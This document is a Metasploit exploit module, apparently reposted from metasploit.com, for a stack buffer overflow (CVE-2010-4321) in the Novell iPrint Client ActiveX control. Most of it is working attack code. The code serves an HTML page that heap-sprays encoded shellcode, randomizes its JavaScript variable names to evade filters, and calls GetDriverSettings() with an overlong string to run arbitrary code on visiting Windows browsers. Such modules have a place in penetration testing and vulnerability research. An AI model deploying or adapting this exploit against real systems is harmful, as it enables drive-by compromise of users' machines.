Novell iPrint Client ActiveX Control <= 5.52 Buffer Overflow (meta)

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Novell iPrint Client ActiveX Control <= 5.52 Buffer Overflow (meta)

来源：http://www.metasploit.com 作者：mr_me 发布时间：2011-03-11

##
# $Id: novelliprint_getdriversettings_2.rb 11888 2011-03-07 02:28:15Z bannedit $
##

###
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
  super( update_info(info,
   'Name'           => 'Novell iPrint Client ActiveX Control <= 5.52 Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Novell iPrint Client 5.52. When
    sending an overly long string to the GetDriverSettings() property of ienipp.ocx
    an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'mr_me <steventhomasseeley[at]gmail.com>', # metasploit module
     'Dr_IDE' # original Exploit from exploit-db.com
     ],
   'Version'        => '$Revision: 11888 $',
   'References'     =>
    [
     [ 'CVE', '2010-4321' ],
     [ 'BID', '44966' ],
     [ 'OSVDB', '69357' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-256/' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/16014/' ],
     [ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7007234' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7',
       {
        'Ret' => 0x0A0A0A0A
       }
     ]
    ],
   'DisclosureDate' => 'Nov 15 2010',
   'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))

# Set the return.
ret = Rex::Text.uri_encode([target.ret].pack('L'))

  # Randomize the javascript variable names.
  vname = rand_text_alpha(rand(100) + 1)
  var_i = rand_text_alpha(rand(30) + 2)
  rand1 = rand_text_alpha(rand(100) + 1)
  rand2 = rand_text_alpha(rand(100) + 1)
  rand3 = rand_text_alpha(rand(100) + 1)
  rand4 = rand_text_alpha(rand(100) + 1)
  rand5 = rand_text_alpha(rand(100) + 1)
  rand6 = rand_text_alpha(rand(100) + 1)
  rand7 = rand_text_alpha(rand(100) + 1)
  rand8 = rand_text_alpha(rand(100) + 1)

content = %Q|<html>
<object id='#{vname}' classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x50000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 200; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 250; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.GetDriverSettings(#{rand8}, #{vname}, #{vname}, #{vname});
</script>
</html>
|
content = Rex::Text.randomize_space(content)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end
end

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